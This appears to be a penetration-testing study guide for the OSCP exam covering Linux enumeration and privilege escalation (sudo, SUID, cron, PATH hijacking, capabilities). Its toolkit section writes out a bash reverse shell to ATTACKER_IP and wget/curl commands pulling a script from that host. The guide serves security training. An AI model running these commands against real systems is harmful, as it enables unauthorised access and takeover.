Linux for OSCP: The Penetration Tester’s Roadmap (2025 Guide)

⭐ Introduction: Why Linux Mastery Is Critical for OSCP

If you’re preparing for the OffSec OSCP certification, your success hinges on one core skill:

👉 You must be fluent in Linux.

Not “I know how to use ls and cd” fluent —
but “I understand how Linux systems work from the ground up” fluent.

Why?

Because 90% of OSCP machines
✔️ run Linux,
✔️ require deep enumeration, and
✔️ demand smart privilege escalation using Linux internals.

This guide breaks down the exact Linux roadmap needed for OSCP—file system fundamentals, quick manual checks, automated scanning, local recon, and the five PrivEsc vectors that appear again and again on exam boxes.

🌲 1. Linux Fundamentals: Know Your Terrain

Before you escalate privileges or compromise a system, you need to understand its structure.

📁 The Linux File System Hierarchy (FHS)

Get comfortable with these directories—their purpose often reveals attack opportunities.

Understanding these directories helps you quickly identify misconfigurations, logs, sensitive data, and binary permissions.

🔐 Critical Authentication Files

Two files matter more than any others during Linux PrivEsc:

/etc/passwd

• World-readable

• Stores: usernames, UIDs, shells, comments

• If you see a real hash here → major vulnerability

/etc/shadow

• Root-only

• Stores encrypted password hashes

• If readable → instant root

Memorize these two — they appear in nearly every OSCP box.

👁️ 2. OSCP Workflow: Enumeration Is Everything

The #1 OSCP rule:

If you fail PrivEsc, it’s because you failed enumeration.

Your process should always follow the same structure:

🕒 Phase 1: Initial Manual Checks (First 20 Minutes)

These quick commands reveal:
✔️ who you are
✔️ what you can access
✔️ your environment
✔️ your privilege boundaries

Run immediately:

whoami
id
groups
uname -a
sudo -l
history

Critical First Check

sudo -l

This single command has given countless OSCP students full root.

🔎 Phase 2: Automated Comprehensive Scan

Use LinPEAS for deep, structured enumeration.

chmod +x linpeas.sh
./linpeas.sh

Pro Tip: Use a timeout so the script doesn’t hang.

timeout 300 ./linpeas.sh

🔥 Key Strategy

Look for anything highlighted in red or yellow:

• SUID binaries

• Cron jobs

• World-writable paths

• PATH hijacking opportunities

• Linux capabilities

LinPEAS will literally point you toward the PrivEsc vector.

🌐 Phase 3: Local Network Recon

Many OSCP boxes require pivoting through local services.

Check listening services:

ss -tuln

or

netstat -tuln

Focus:

• Internal admin panels

• Local-only web services

• Misconfigured daemons

• PrivEsc attack surfaces

⚡ 3. The Top 5 Privilege Escalation Vectors (OSCP 2025)

Master these five, and you'll root almost every exam machine.

1. Sudo Abuse

If you can run any binary with sudo (even without a password), check GTFOBins:

👉 https://gtfobins.github.io/

Often exploited through:

• awk

• vim

• find

• python

• less

• tar

2. SUID/SGID Binaries

Identify binaries with root permissions:

find / -perm -u=s -type f 2>/dev/null

Common exploitable binaries include:

• nmap

• vim

• bash

• cp

• find

Again, GTFOBins is your best friend.

3. Insecure Cron Jobs

Look for scripts run by root on a schedule:

crontab -l
ls -la /etc/cron.*

Exploit when:

• The script is writable

• The directory is writable

• The script calls external commands using relative paths

4. PATH Hijacking

If a script calls a binary without using absolute paths, you can hijack execution.

Technique:

echo "/bin/bash" > /tmp/ps
chmod +x /tmp/ps
export PATH=/tmp:$PATH

When root’s cron runs ps, you get root.

5. Linux Capabilities

Check for binaries with granular capabilities:

getcap -r / 2>/dev/null

Dangerous capabilities include:

• CAP_SYS_ADMIN

• CAP_DAC_OVERRIDE

• CAP_SETUID

• CAP_CHOWN

Misconfigured capabilities → instant PrivEsc.

🧰 4. The Pentester’s Toolkit (Must-Know Commands)

📞 Getting a Reverse Shell

bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1

🐍 Stabilizing the Shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

📦 Transferring Files

From your machine:

python3 -m http.server 80

On the target:

wget http://ATTACKER_IP/linpeas.sh

or:

curl http://ATTACKER_IP/linpeas.sh -o linpeas.sh

🗻 5. Your Most Important Resource: GTFOBins

GTFOBins is a curated list of Linux binaries that can be abused for:

✔️ Sudo PrivEsc
✔️ SUID PrivEsc
✔️ File read/write
✔️ Reverse shells
✔️ Capability abuse

Use it on every OSCP machine.

🎯 Final Thoughts: Master Linux, Master OSCP

Becoming OSCP-ready is not about guessing exploits. It’s about:

✔️ understanding Linux deeply
✔️ performing structured enumeration
✔️ recognizing PrivEsc patterns
✔️ staying calm and methodical under pressure

This roadmap covers every major Linux topic you need to pass OSCP—and every item on this list appears repeatedly across OSCP labs and exam machines.

⭐ About FlashGenius

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